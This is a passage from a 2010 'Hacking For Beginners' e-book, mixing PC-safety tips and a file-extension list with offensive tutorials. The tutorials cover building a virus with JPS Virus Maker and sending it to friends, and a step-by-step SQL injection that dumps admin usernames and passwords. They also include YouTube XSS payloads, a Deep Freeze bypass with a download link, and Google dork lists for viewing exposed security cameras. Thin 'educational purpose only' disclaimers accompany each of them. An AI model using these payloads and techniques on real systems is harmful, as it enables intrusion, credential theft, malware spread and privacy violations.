2908off virus infection up to the maximum extent.
2909 Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an
2910hourly prize. They are the ways to mislead Internet users and you should never trust them.
2911 You can also use a pop-up blocker to automatically block those pop-ups.
29125. USB thumb/pen drives are another common way by which viruses spread rapidly. So it is always a good habit to
2913perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it.
2914Instead right-click on it and select the option "open”. This is a safe way to open a pen drive.
29156. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to
2916get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install
2917the AVG Link Scanner which is a freeware. This tool can become very handy and will help you to stay away from malicious
2918websites.
29197. Install a good Antispyware program that operates against Internet malware and spy ware.
2920Hacking For Beginners – Manthan Desai 2010
2921w w w . h a c k i n g t e c h . c o . t v
2922Page 139
29238. Install good antivirus software and keep it updated. Also perform full system scan periodically. It is highly
2924recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from
2925viruses. If PC security is your first option then it is recommended that you go for shareware antivirus software over the
2926free ones. Most of the antivirus supports the Auto-Protect feature that provides real-time security for your PC. Make sure
2927that this feature is turned on.
29289. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you
2929can run a virus scan on it first to check it out.
293010. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to
2931automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes
2932in both pieces of software.
293311. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus
2934scan before executing them.
293512. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials,
2936warez etc. since they contribute much in spreading of viruses and other malicious programs.
2937Hacking For Beginners – Manthan Desai 2010
2938w w w . h a c k i n g t e c h . c o . t v
2939Page 140
294023. 10 Tips for Total Online Security.
2941With the sudden rise in the Internet usage across the globe over the past few years, there has also been a rise in the
2942amount of online scams and frauds. Today most of the Internet users are unaware of the most prevailing online threats
2943which pose a real challenge for their safe Internet usage. As a result, Online Security has become a questionable factor for
2944the most Internet users. However it is still possible to effectively combat online insecurity provided that the users are well
2945aware of the common scams and frauds and know how to protect themselves. A study shows that over 91% of the
2946Internet users are unaware of the online scams and are worried about their security. Well if you are one among those
294791% then here is a list of 10 tips to ensure your total online security.
29481. Always install a good antivirus software and keep it up-to-date. Also install a good anti-spyware to keep your PC away
2949from spywares.
29502. Always visit known and trusted websites. If you are about to visit an unknown website, ensure that you do not click on
2951suspect able links and banners.
29523. Perform a virus scan on the files/email attachments that you download before executing them.
29534. Regularly update your operating system and browser software. For a better security it is recommended that you surf
2954the Internet through the latest version of your browser program.
29555. Never share your password (email, bank logins etc.) with any one for any reason. Choose a strong password (A blend of
2956alphanumeric special symbols) and change it regularly, eg. Every 3 months. Avoid using easy-to-guess passwords. (ex.
2957pet’s name or kid’s name)
29586. Always type the URL of the website in your browser’s address bar to enter the login pages. For e.g. to login to
2959your yahoo mail account type http://mail.yahoo.com
29607. Before you enter your password on any login page, ensure that you see https instead of http.
2961ex. https://mail.google.com instead of http://mail.google.com. HTTPS protocol implements SSL (Secure Sockets Layer) and
2962provide better security than a normal HTTP. For more information on HTTPS and SSL see Know More about Secure
2963Sockets Layer (SSL).
2964Hacking For Beginners – Manthan Desai 2010
2965w w w . h a c k i n g t e c h . c o . t v
2966Page 141
29678. Beware of phishing emails! Do not respond to any email that request you to update your login details by clicking on a
2968link in the body of the email. Such links can lead to Fake Login Pages (Spoofed Pages). For more information on phishing
2969refer what is Phishing?
29709. Always hit the logout button to close your login session rather than abruptly terminating the browser window. Also
2971clear your web browser caches after every session to remove the temporary files stored in the memory and hard disk of
2972your PC.
297310. Avoid (Stop) using any public computers or computers in the Internet cafes to access any sensitive/confidential
2974information. Also avoid such computers to login to your email/bank accounts. You cannot be sure if any spyware,
2975keystroke-logger, password-sniffer and other malicious programs have not been installed on such a PC.
2976Hacking For Beginners – Manthan Desai 2010
2977w w w . h a c k i n g t e c h . c o . t v
2978Page 142
297924. What to do when your orkut acc. is hacked
2980What to do when your orkut account is hacked
2981It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail,
2982Orkut, Google Calendar, Blogger, Ad Sense, Google Docs and even Google Checkout are tied to the same account.
2983Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes
2984ownership of your Google Account and change the password:
29851. Reset Your Google Account Password:
2986Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd -
2987you will receive an email at your secondary email address with a link to reset your Google Account Password.
2988This will not work if the other person has changed your secondary email address or if you no longer have access to that
2989address.
29902. For Google Accounts Associated with Gmail:
2991If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It
2992however requires you to remember the exact date when you created that Gmail account.
29933. For Hijacked Google Accounts Not Linked to Gmail:
2994If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring
2995back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation
2996date of your Google Account plus a copy of that original "Google Email Verification” message.
2997It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant
2998information in your secondary email mailbox.
2999Hacking For Beginners – Manthan Desai 2010
3000w w w . h a c k i n g t e c h . c o . t v
3001Page 143
300225. Making a computer virus
3003In This Tutorial we will study about the Making of Computer virus in an easy way with software named “JPS Virus Maker".
3004Let’s start the tutorial.
3005Step 1:- Download the Necessary software for VIRUS making.
3006Step 2:- Unrar the pack.
3007Step 3:- Now open the software and You Will Get the Following Screen. (Fig -1)
3008(Fig -1) (Fig -2)
3009Step 4:- Now Select any (can be more then one) Victim option from the given options as done above. (Fig -2)
3010Step 5:- For Virus of Fake Message select the Fake Error Message and write the message you want to display in caption
3011and Title Like "Error" as shown below. (Fig -3)
3012“Download JPS Virus Maker from here: http://www.hackingtech.co.tv/JPS_Virus_Maker.rar ”.
3013Hacking For Beginners – Manthan Desai 2010
3014w w w . h a c k i n g t e c h . c o . t v
3015Page 144
3016(Fig -3) (Fig -4)
3017Step 6:-To change the Password of the computer on execution of virus check CHANGE XP PASSWORD and type the new
3018password. (Fig -4)
3019Step 7:-To Run any program on starting the XP click on “Run Xp Program before Execute ". And then select any Program
3020from list you want to run at the Starting on Xp.
3021Hacking For Beginners – Manthan Desai 2010
3022w w w . h a c k i n g t e c h . c o . t v
3023Page 145
3024Step 8:- Now select any server Icon; it is the icon of the virus file. (Fig -6)
3025(Fig -6) (Fig -7)
3026Step 9:- Now select any virus Name from the list so it cannot be seen in the process from its own name. (Fig -7)
3027Step 10:- Click on the "make virus” Button and the virus is made.
3028Hacking For Beginners – Manthan Desai 2010
3029w w w . h a c k i n g t e c h . c o . t v
3030Page 146
3031Step 11:- Now send this file to your friends and see what happens to his/her PC.
3032“Do not use this hacks & trick in any criminal activities like phishing bank websites and please do
3033not destroy any ones account this is only for educational purpose”.
3034Hacking For Beginners – Manthan Desai 2010
3035w w w . h a c k i n g t e c h . c o . t v
3036Page 147
303726. SQL injection for website hacking
3038In this tutorial I will describe how sql injection works and how to use it to get some useful information.
3039First of all: What is SQL injection?
3040It's one of the most common vulnerability in web applications today.
3041It allows attacker to execute database query in url and gain access to some confidential Information etc...( In shortly).
30421. SQL Injection (classic or error based)
30432. Blind SQL Injection (the harder part)
3044So let's start with some action
3045Step 1:- Check for vulnerability
3046Let's say that we have some site like this http://www.site.com/news.php?id=5
3047Now to test if is vulnerable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5'
3048so if we get some error like
3049"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
3050etc..."
3051Or something similar
3052That means is vulnerable to sql injection :)
3053Step 2:- Find the number of columns
3054To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well
3055just incrementing the number until we get an error.
3056http://www.site.com/news.php?id=5 order by 1/* <-- no error
3057http://www.site.com/news.php?id=5 order by 2/* <-- no error
3058http://www.site.com/news.php?id=5 order by 3/* <-- no error
3059http://www.site.com/news.php?id=5 order by 4/* <-- error
3060(We get message like this Unknown column '4' in 'order clause' or something like that)
3061That means that the it has 3 columns, because we got an error on 4.
3062Step 3:- Check for UNION function
3063Hacking For Beginners – Manthan Desai 2010
3064w w w . h a c k i n g t e c h . c o . t v
3065Page 148
3066With union we can select more data in one sql statement.
3067So we have http://www.site.com/news.php?id=5 union all select 1,2,3/*
3068(We already found that numbers of columns are 3 in section 2). if we see some numbers on screen, i.e. 1 or 2 or 3 then
3069the UNION works
3070Step 4:- Check for MySQL version
3071http://www.site.com/news.php?id=5 union all select 1,2,3/*
3072NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work
3073properly.
3074Let’s say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or
3075version () and get something like 4.1.33-log or 5.0.45 or similar.
3076It should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error
3077"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
3078I didn't see any paper covering this problem, so i must write it .
3079What we need is convert () function
3080i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
3081Or with hex () and unhex ()
3082i.e.http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
3083And you will get MySQL version.
3084Step 5:- Getting table and column name
3085Well if the MySQL version is < 5 (i.e. 4.1.33, 4.1.12...) <--- later I will describe for MySQL > 5 version. We must guess
3086table and column name in most cases. Common table names are: user/s, admin/s, and member/s ... common column
3087names are: username, user, usr, username, password, pass, passwd, pwd etc...
3088I.e. would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*
3089(We see number 2 on the screen like before, and that's good )
3090We know that table admin exists...
3091Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*
3092(If you get an error, then try the other column name)
3093We get username displayed on screen, example would be admin, or superadmin etc...
3094Now to check if column password exists
3095http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*
3096(If you get an error, then try the other column name)
3097We seen password on the screen in hash or plain-text, it depends of how the database is set up .
3098i.e. md5 hash, mysql hash, sha1...
3099Now we must complete query to look nice :)
3100For that we can use concat () function (it joins strings)
3101i.e.
3102http://www.site.com/news.php?id=5 union all select 1,concat
3103(Username, 0x3a, password),3 from admin/*
3104Note that I put 0x3a, its hex value for: (so 0x3a is hex value for colon)
3105(There is another way for that, char (58), ASCII value for : )
3106Hacking For Beginners – Manthan Desai 2010
3107w w w . h a c k i n g t e c h . c o . t v
3108Page 149
3109http://www.site.com/news.php?id=5 union all select 1,concat
3110(username,char(58), password),3 from admin/*
3111Now we get displayed username:password on screen, i.e. admin:admin or admin:somehash when you have this, you
3112can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it
3113has user i password columns, so example would be
3114http://www.site.com/news.php?id=5 union all select 1,concat
3115(user,0x3a,password) ,3 from mysql.user/*
3116Step 6:- MySQL 5
3117Like I said before I’m going to explain how to get table and column names in MySQL > 5.
3118For this we need information_schema. It holds all tables and columns in database.
3119To get tables we use table_name and information_schema.tables.
3120i.e.
3121http://www.site.com/news.php?id=5 union all select 1,table_name,3
3122from information_schema.tables/*
3123Here we replace the our number 2 with table_name to get the first table from information_schema.tables
3124displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
3125i.e
3126http://www.site.com/news.php?id=5 union all select 1,table_name,3
3127from information_schema.tables limit 0,1/*
3128note that i put 0,1 (get 1 result starting from the 0th)
3129now to view the second table, we change limit 0,1 to limit 1,1
3130i.e
3131http://www.site.com/news.php?id=5 union all select 1,table_name,3
3132from information_schema.tables limit 1,1/*
3133the second table is displayed.
3134for third table we put limit 2,1
3135i.e
3136http://www.site.com/news.php?id=5 union all select 1,table_name,3
3137from information_schema.tables limit 2,1/*
3138keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
3139To get the column names the method is the same.
3140here we use column_name and information_schema.columns
3141the method is same as above so example would be
3142http://www.site.com/news.php?id=5 union all select 1,column_name,3
3143from information_schema.columns limit 0,1/*
3144the first column is diplayed.
3145the second one (we change limit 0,1 to limit 1,1)
3146ie.
3147http://www.site.com/news.php?id=5 union all select 1,column_name,3
3148from information_schema.columns limit 1,1/*
3149the second column is displayed, so keep incrementing until you get something like
3150username,user,login, password, pass, passwd etc...
3151if you wanna display column names for specific table use this query. (where clause)
3152let's say that we found table users.
3153i.e
3154http://www.site.com/news.php?id=5 union all select 1,column_name,3
3155from information_schema.columns where table_name='users'/*
3156now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
3157Note that this won't work if the magic quotes is ON.
3158let's say that we found colums user, pass and email.
3159Hacking For Beginners – Manthan Desai 2010
3160w w w . h a c k i n g t e c h . c o . t v
3161Page 150
3162now to complete query to put them all together
3163for that we use concat() , i decribe it earlier.
3164i.e
3165http://www.site.com/news.php?id=5 union all select 1,concat
3166(user,0x3a,pass,0x3a,email) from users/*
3167what we get here is user:pass:email from table users.
3168example: admin:pass:blabla@whatever.com
3169“Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the
3170web servers and please do not destroy any ones account this is only for educational purpose”.
3171Hacking For Beginners – Manthan Desai 2010
3172w w w . h a c k i n g t e c h . c o . t v
3173Page 151
317427. How a ‘Denial of service’ attack works
3175On February 6th, 2000 Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day,
3176hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the
3177morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually
3178choked off.
3179How a "denial of service" attacks works
3180In a typical connection, the user sends a message asking the server to authenticate it. The server returns the
3181authentication approval to the user. The user acknowledges this approval and then is allowed onto the server.
3182In a denial of service attack, the user sends several authentication requests to the server, filling it up. All requests have
3183false return addresses, so the server can't find the user when it tries to send the authentication approval. The server
3184waits, sometimes more than a minute, before closing the connection. When it does close the connection, the attacker
3185sends a new batch of forged requests, and the process begins again--tying up the service indefinitely.
3186Typical connection
3187Hacking For Beginners – Manthan Desai 2010
3188w w w . h a c k i n g t e c h . c o . t v
3189Page 152
3190"Denial of service" attack
3191How to block a "denial of service" attack
3192One of the more common methods of blocking a "denial of service" attack is to set up a filter, or "sniffer," on a network
3193before a stream of information reaches a site's Web servers. The filter can look for attacks by noticing patterns or
3194identifiers contained in the information. If a pattern comes in frequently, the filter can be instructed to block messages
3195containing that pattern, protecting the Web servers from having their lines tied up.
3196Hacking For Beginners – Manthan Desai 2010
3197w w w . h a c k i n g t e c h . c o . t v
3198Page 153
3199“Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the
3200web servers and please do not destroy any ones account this is only for educational purpose”.
3201Hacking For Beginners – Manthan Desai 2010
3202w w w . h a c k i n g t e c h . c o . t v
3203Page 154
320428. XSS vulnerability found on You Tube
3205On the 4th of July 2010 YouTube users began complaining that their videos had been hijacked, the comments section of
3206their videos seemed to be most severely affected, many complained that old comments vanished and new comments
3207could not be added. Others reported that offensive messages were popping up on their screen or scrolling horizontally in
3208large fonts and striking colours. Some users also seemed to suggest that there were experiencing page redirects, often to
3209sites promoting pornographic content.
3210YouTube users voiced their experiences on YouTube message boards, Twitter and other social networking sites. Within
3211minutes it was apparent that the YouTube website was under attack.
3212Hacking For Beginners – Manthan Desai 2010
3213w w w . h a c k i n g t e c h . c o . t v
3214Page 155
3215You Tube’s XSS (Cross Site Scripting) defences had been defeated. Security-minded people began shouting warnings,
3216asking users to stay off YouTube. Other YouTube users urged others to log out from their account, for fear of cookie
3217hijacking, and other nastiest caused by XSS attacks.
3218Above: Some users reported this screen when browsing the YouTube site during the attack.
3219Within an hour or two the problem was fixed, YouTube servers were cleaned out rebooted and the Internet as we know it
3220was restored to normality.
3221Very few realized that what they had just witnessed was probably the single most embarrassing and largest security
3222breach that Google has ever suffered. This flaw could, and probably will, tarnish Google’s reputation and raise new
3223awareness to everyone. People ask; how can Google and YouTube suffer from such a classic XSS attack as this one?
3224The YouTube XSS Vulnerability Explained
3225In XSS (Cross Site Scripting) attacks such as this one the attacker manages to ‘inject’ JavaScript code into the target
3226website.
3227In this attack the Comments feature of YouTube videos was targeted. The attacker would simply paste his malicious script
3228into the comments field that is available under videos on the YouTube website.
3229Hacking For Beginners – Manthan Desai 2010
3230w w w . h a c k i n g t e c h . c o . t v
3231Page 156
3232In its simple form, the user would put in a comment such as this one:
3233<script><h1><marquee><font color=”red”><u>Ha-Ha – This text will scroll in red, on your screen</script>
3234In this particular attack, the keyword IF_HTML_FUNCTION? Appears after the <script> tag, in the following way:
3235<Script>IF_HTML_FUNCTION? <h1><marquee><font color=”red”><u>Ha-Ha – This text will scroll in red, on your
3236screen<script>
3237Apart from this keyword, I also noticed that the <script> tag is not properly closed. This is probably what caused other
3238scripts on the same page to stop functioning.
3239During the time the YouTube was vulnerable users began creating variants of the marquee script, one of which would
3240redirect users to go at an infamous hacker web site, as can be seen below.
3241<script><BODY onLoad=”var a = ‘\x68\x74\x74\x70\x3a\x2f\x2f’ + ‘\x77\x77\x77\x2e’ + ‘goatse’ + ‘\x2efr’;
3242location.href = a;”
3243One thing to note about this attack script is that the IF_HTML_FUNCTION? Is missing, but the <script> tag is still not
3244properly closed.
3245Videos emerged of other users experimenting with this newly discovered flaw. One user made a video of himself
3246exploiting the following script, which will have the effect of making the entire page black, except for the words *TEXT
3247HERE*:
3248<script><h1><marquee style=”position: absolute; top: 0px; bottom: 0px; left: 0px; z-index: 9999999; right: 0px;
3249background-color: rgb(0, 0, 0);”><font style:=”font-size:60px” color=”red”><u style=”">*TEXT HERE*<script>
3250Similar to the previous two examples, the <script> tag is not properly closed, and just like the example before this one,
3251the IF_HTML_FUNCTION keyword is missing.
3252By the time I go around to creating my own experiments, YouTube had already fixed the problem, they also very briefly,
3253and without detailed, admitted to the attack (Google acknowledges YouTube hack.)
3254The fix was swift and effective, however it impeded me from carrying out further tests, so I was not able to determine
3255what would happen if, for example the <script> tag was properly terminated.
3256Lessons Learned and Countermeasures
3257It is still not clear whether this attack existed for a long time but never noticed, or whether it was a recently introduced
3258bug; hopefully YouTube will explain to us how this XSS vulnerability was made possible.
3259My gut feeling is that a recent software update introduced this security hole; if this is the case, it reinforces what some
3260security experts are saying; incorporate security test in your QA process, preferably with automated tools such as
3261vulnerability scanners. Security testing and vulnerability scanning are not exercises that are done once and then never
3262again. They need to be re-done each time a software update is made to your web apps. In the case of YouTube, this is
3263probably a daily exercise.
3264This attack is a stark reminder of how vulnerable Internet users are to XSS attacks. A classic and relatively simple attack
3265worked against the biggest Internet giant. If Google and YouTube cannot keep their users safe, then who can?
3266“Warning! Do not use this attack again on youtube and try to hack it as they are back tracking
3267this type of illegal activities, this is for educational purpose only”.
3268Hacking For Beginners – Manthan Desai 2010
3269w w w . h a c k i n g t e c h . c o . t v
3270Page 157
327129. Hacking Deep Freeze
3272Deep Freeze uses a unique method of disk protection to preserve the exact original standard system configuration on
3273over eight million Windows & Macintosh & Linux computers worldwide!
3274This Attack can mostly be used in cyber café's / colleges / schools etc. Where permissions are not granted to install any
3275software on computer so you can use following steps to crack Deep Freeze.
3276Step 1:- First of all you need software called Deep Unfreezer.
3277Step 2:- Unrar the downloaded Software and You will find the file named DeepUnfreezerU1.6.exe
3278Step 3:- Open that software and click on Boot Thawed radio button and click on load status.
3279Step 4:- After loading the status click on save status button.
3280Step 5:- Restart the Computer and You are done. The Deep Freeze is hacked.
3281“Download It from Here: http://www.hackingtech.co.tv/DeepUnfreezerU1.6.rar”.
3282Hacking For Beginners – Manthan Desai 2010
3283w w w . h a c k i n g t e c h . c o . t v
3284Page 158
3285Now Again to Lock the Deep Freeze or Freeze the System as it was before cracking the Deep Freeze follow Steps Below.
3286Step 1:- Open the software.
3287Step 2:- Select the boot frozen radio button and click on load status.
3288Step 3:- After loading the status click on save status button.
3289Step 4:- Restart the Computer and You are done. The Deep Freeze has been locked again.
3290“Do not hack any ones PC and install any illegal software like key loggers by hacking the Deep
3291Freeze, this is for educational purpose only”.
3292Hacking For Beginners – Manthan Desai 2010
3293w w w . h a c k i n g t e c h . c o . t v
3294Page 159
329530. How to watch security cameras on internet
3296There are some Steps “How to watch Security Cameras on Internet”
3297Step 1. Open internet your web browser.
3298Step 2. Go to a search engine of your choice (i.e. Google, Yahoo, etc.), and input any of the search commands as listed
3299below.
3300Step 3. After you search one of these queries, you will see some search results, click on any one of them.
3301Step 4. Depending on the type of camera that you have access to, you may be able to control the camera like zoom, pan,
3302and tilt the camera to see what you want to.
3303Step 5. Do not try to get onto password protected cameras, as this will not go unnoticed if too many attempts are made.
3304Some Commands to be Remember to Find Live CCTV Cameras.
3305 inurl:/view.shtml
3306 intitle:”Live View / – AXIS” | inurl:view/view.shtml^
3307 inurl:ViewerFrame?Mode=
3308 inurl:ViewerFrame?Mode=Refresh
3309 inurl:axis-cgi/jpg
3310 inurl:view/index.shtml
3311 inurl:view/view.shtml
3312 liveapplet
3313 intitle:liveapplet
3314 allintitle:”Network Camera NetworkCamera”
3315 intitle:axis intitle:”video server”
3316 intitle:liveapplet inurl:LvAppl
3317 intitle:”EvoCam” inurl:”webcam.html”
3318 intitle:”Live NetSnap Cam-Server feed”
3319 intitle:”Live View / – AXIS 206M”
3320 intitle:”Live View / – AXIS 206W”
3321 intitle:”Live View / – AXIS 210″
3322Hacking For Beginners – Manthan Desai 2010
3323w w w . h a c k i n g t e c h . c o . t v
3324Page 160
3325 inurl:indexFrame.shtml Axis
3326 intitle:start inurl:cgistart
3327 intitle:”WJ-NT104 Main Page”
3328 intitle:snc-z20 inurl:home/
3329 intitle:snc-cs3 inurl:home/
3330 intitle:snc-rz30 inurl:home/
3331 intitle:”sony network camera snc-p1″
3332 viewnetcam.com
3333 intitle:”Toshiba Network Camera” user login
3334 intitle:”i-Catcher Console – Web Monitor”
3335Use these commands in Google Search and get the desired result.
3336“Do not misuse this hack or attack in any illegal activities as this is for educational purpose only”.
3337Hacking For Beginners – Manthan Desai 2010
3338w w w . h a c k i n g t e c h . c o . t v
3339Page 161
334031. List of PC file Extensions
3341This is a list of the most commonly found extensions, what type of file they are and what program if any they are
3342associated with.
3343.$$$ Temporary file
3344.$$A OS/2 program file
3345.$$F OS/2 database file
3346.$$S OS/2 spreadsheet file
3347. OS/2 planner file
3348.$DB DBASE IV temporary file
3349.$ED Microsoft C temporary editor file.
3350.$VM Microsoft Windows temporary file for virtual managers.
3351._DD Norton disk doctor recovery file.
3352._DM Nuts n Bolts disk minder recovery file.
3353.--- File used to backup sys, ini, dat, and other important files from Windows 3.1 and above.
3354.075 Ventura Publisher 75x75 dpi screen characters
3355.085 Ventura Publisher 85x85 dpi screen characters
3356.091 Ventura Publisher 91x91 dpi screen characters
3357.096 Ventura Publisher 96x96 dpi screen characters
3358.0B Pagemaker printer font LineDraw enhanced characters.
3359.1ST File used by some software manufacturers to represent a file that should be read first before starting the program.
3360Hacking For Beginners – Manthan Desai 2010
3361w w w . h a c k i n g t e c h . c o . t v
3362Page 162
3363.2GR File used in Windows 3.x to display the graphics on older 286 and 386 computers.
3364.386 Virtual machine support files for the 386 enhanced mode.
3365.3GR File used in Windows 3.x to display the graphics on later 386, 486 and Pentium computers.
3366.4SW 4DOS Swap file
3367A
3368A ADA program file or UNIX library
3369.A3W MacroMedia Authorware 3.5 file
3370.ABK Autobackup file used with Corel Draw 6 and above.
3371.ABR Brush file for Adobe Photoshop
3372.ACT Adobe Photoshop Color table file.
3373.AD After Dark file.
3374.ADF Adapter description files.
3375.ADM After Dark screen saver module.
3376.ADR After Dark randomizer
3377.AI Adobe Illustrator file.
3378.AIF Auto Interchange File Format (AIFF) Audio file.
3379.ANI Windows 95 / Windows 98 / Windows NT animated mouse cursor file.
3380.ANS ANSI text file.
3381.ARJ Compressed file can be used with Winzip / Pkzip.
3382.ASC ASCII Text file
3383.ASF Sort for Advanced Streaming Format, file developed by Microsoft. The .ASF file is generally a movie player and can
3384be open with software such as Windows Media Player.
3385.ASP Microsoft FrontPage Active Server Pages. To open these files use your internet browser.
3386.AVI Windows Movie file.
3387B
3388.BAK Backup file used for important windows files usually used with the System.ini and the Win.ini.
3389.BAS QBasic program and or Visual Basic Module.
3390.BAT Batch file that can perform tasks for you in dos, like a macro.
3391Hacking For Beginners – Manthan Desai 2010
3392w w w . h a c k i n g t e c h . c o . t v
3393Page 163
3394.BFC Microsoft Windows 95 / Windows 98 Briefcase file.
3395.BG Backgammon game file.
3396.BIN Translation tables for code pages other than the standard 437.
3397.BK2 Word Perfect for Windows Backup file
3398.BK3 Word Perfect for Windows Backup file
3399.BK4 Word Perfect for Windows Backup file
3400.BK5 Word Perfect for Windows Backup file
3401.BK6 Word Perfect for Windows Backup file
3402.BK7 Word Perfect for Windows Backup file
3403.BK8 Word Perfect for Windows Backup file
3404.BK9 Word Perfect for Windows Backup file
3405.BMP Graphical Bit Mapped File used in Windows Paintbrush.
3406.BNK Sim City Backup
3407.BPS Microsoft Works Word Processor File.
3408.BPT Corel Draw Bitmap master file
3409.BV1 Word Perfect for Windows Backup file
3410.BV2 Word Perfect for Windows Backup file
3411.BV3 Word Perfect for Windows Backup file
3412.BV4 Word Perfect for Windows Backup file
3413.BV5 Word Perfect for Windows Backup file
3414.BV6 Word Perfect for Windows Backup file
3415.BV7 Word Perfect for Windows Backup file
3416.BV8 Word Perfect for Windows Backup file
3417.BV9 Word Perfect for Windows Backup file
3418.BWP Battery Watch pro file.
3419C
3420.C C file used with the C programming language.
3421Hacking For Beginners – Manthan Desai 2010
3422w w w . h a c k i n g t e c h . c o . t v
3423Page 164
3424.CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers. Information
3425about how to extract a .CAB file can be found on document CH000363.
3426.CAL Windows Calendar, Supercalculator4 file or Supercal spreadsheet.
3427.CBL COBOL Program File
3428.CBT Computer Based Training files.
3429.CDA CD Audio Player Track.
3430.CDR Corel Draw Vector file.
3431.CFB Comptons Multimedia file
3432.CFG Configuration file
3433.CFL Corel flowchart file
3434.CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form
3435.CHK Scandisk file which is used to back up information that scandisk has found to be bad, found in C root. Because the
3436information within these files are corrupted or reported as bad by Scandisk it is perfectly fine to delete these files,
3437providing you are currently not missing any information. Additional information about scandisk can be found on our
3438scandisk page.
3439.CL Generic LISP source code.
3440.CL3 Easy CD Creator layout file.
3441.CL4 Easy CD Creator layout file.
3442.CLA Java Class file.
3443.CLG Disk catalog database
3444.CLK Corel R.A.V.E. animation file.
3445.CLL Crick software clicker file
3446.CLO Cloe image
3447.CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script
3448.CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition
3449.CLS Visual Basic Class module / C++ Class definition
3450.CMD Windows Script File also OS/2 command file.
3451.CMV Corel Movie file.
3452.CNT Help file (.hlp) Contents (and other file contents)
3453.CPL Windows 95 / Windows 98 / Windows NT control panel icons.
3454Hacking For Beginners – Manthan Desai 2010
3455w w w . h a c k i n g t e c h . c o . t v
3456Page 165
3457.CNE Configuration file that builds .COM files.
3458.CNF Configuration file.
3459.COB COBOL source code file.
3460.COD FORTRAN Compiler program code
3461.COM File that can be executed.
3462.CPE Fax cover page file
3463.CPI Code Page Information or Microsoft Windows applet control panel file
3464.CPP C++ source code file.
3465.CRD Windows Card file.
3466.CSV Comma-Separated Variable file. Used primary with databases and spreadsheets / Image file used with CopuShow
3467.CUR Windows Mouse Cursor.
3468.CVS Canvas drawing file
3469.CXX C++ program file or Zortech C++ file
3470D
3471.DAT Data file, generally associated or extra data for a program to use.
3472.DB Paradox database file / Progress database file
3473.DB2 dBase II file
3474.DBC Microsoft Visiual Foxpro database container
3475.DBF dBase II,III,III+,IV / LotusWorks database.
3476.DBK dBase databse backup / Orcad schematic capture backup file
3477.DBM Cold Fusion template
3478.DBO dBase IV compiled program file
3479.DBQ Paradox memo
3480.DBT dBase database text file
3481.DBV Flexfile memo field file
3482.DBW DataBoss database file
3483.DBX Database file / DataBeam Image / MS Visual Foxpro Table
3484.DEV Device Driver
3485Hacking For Beginners – Manthan Desai 2010
3486w w w . h a c k i n g t e c h . c o . t v
3487Page 166
3488.DIF Document Interchange Format; VisiCalc
3489.DLL Dynamic Link Library; Allow executable code modules to be loaded on demand, linked at run time, and unloaded
3490when not needed. Windows uses these files to support foreign languages and international/nonstandard keyboards.
3491.DMO Demo file
3492.DMP Dump file
3493.DMD Visual dBASE data module
3494.DMF Delusion/XTracker Digital Music File
3495.DMO Demo file
3496.DMP Dump file
3497.DMS Compressed archive file
3498.DOC Microsoft Word Windows/DOS / LotusWorks word processor Windows/DOS /PF S:First Choice Windows/DOS
3499DOT MS Word Windows/DOS.
3500.DOS Text file and DOS Specification Info
3501.DOT Microsoft Word Template (Macro).
3502.DRV Device driver files that attach the hardware to Windows. The different drivers are system, keyboard, pointing
3503devices, sound, printer/ plotter, network, communications adapter.
3504.DRW Micrografx draw/graph files.
3505.DT_ Macintosh Data File Fork
3506.DTA Data file
3507.DTD SGML Document definition file
3508.DTF Q&A database
3509.DTM DigiRekker module
3510.DTP SecurDesk! Desktop / Timeworks Publisher Text Document / Pressworks Template file
3511.DUN Dialup Networking exported file.
3512.DX Document Imaging file / Digital data exchange file
3513.DXB Drawing interchange binary file
3514.DXF Autocad drawing interchange format file
3515.DXN Fujitsu dexNet fax document
3516.DXR Macromedia director projected movie file
3517Hacking For Beginners – Manthan Desai 2010
3518w w w . h a c k i n g t e c h . c o . t v
3519Page 167
3520.DYN Lotus 1-2-3 file
3521.DWG AutoCad Drawing Database
3522E
3523.EEB Button bar for Equation Editor in Word Perfect for Windows
3524.EFT CHIWRITER high resolution screen characters
3525.EGA EGA screen characters for Ventura Publisher
3526.ELG Event List text file used with Prosa
3527.EMS Enhanced Menu System configuration file for PC Tools
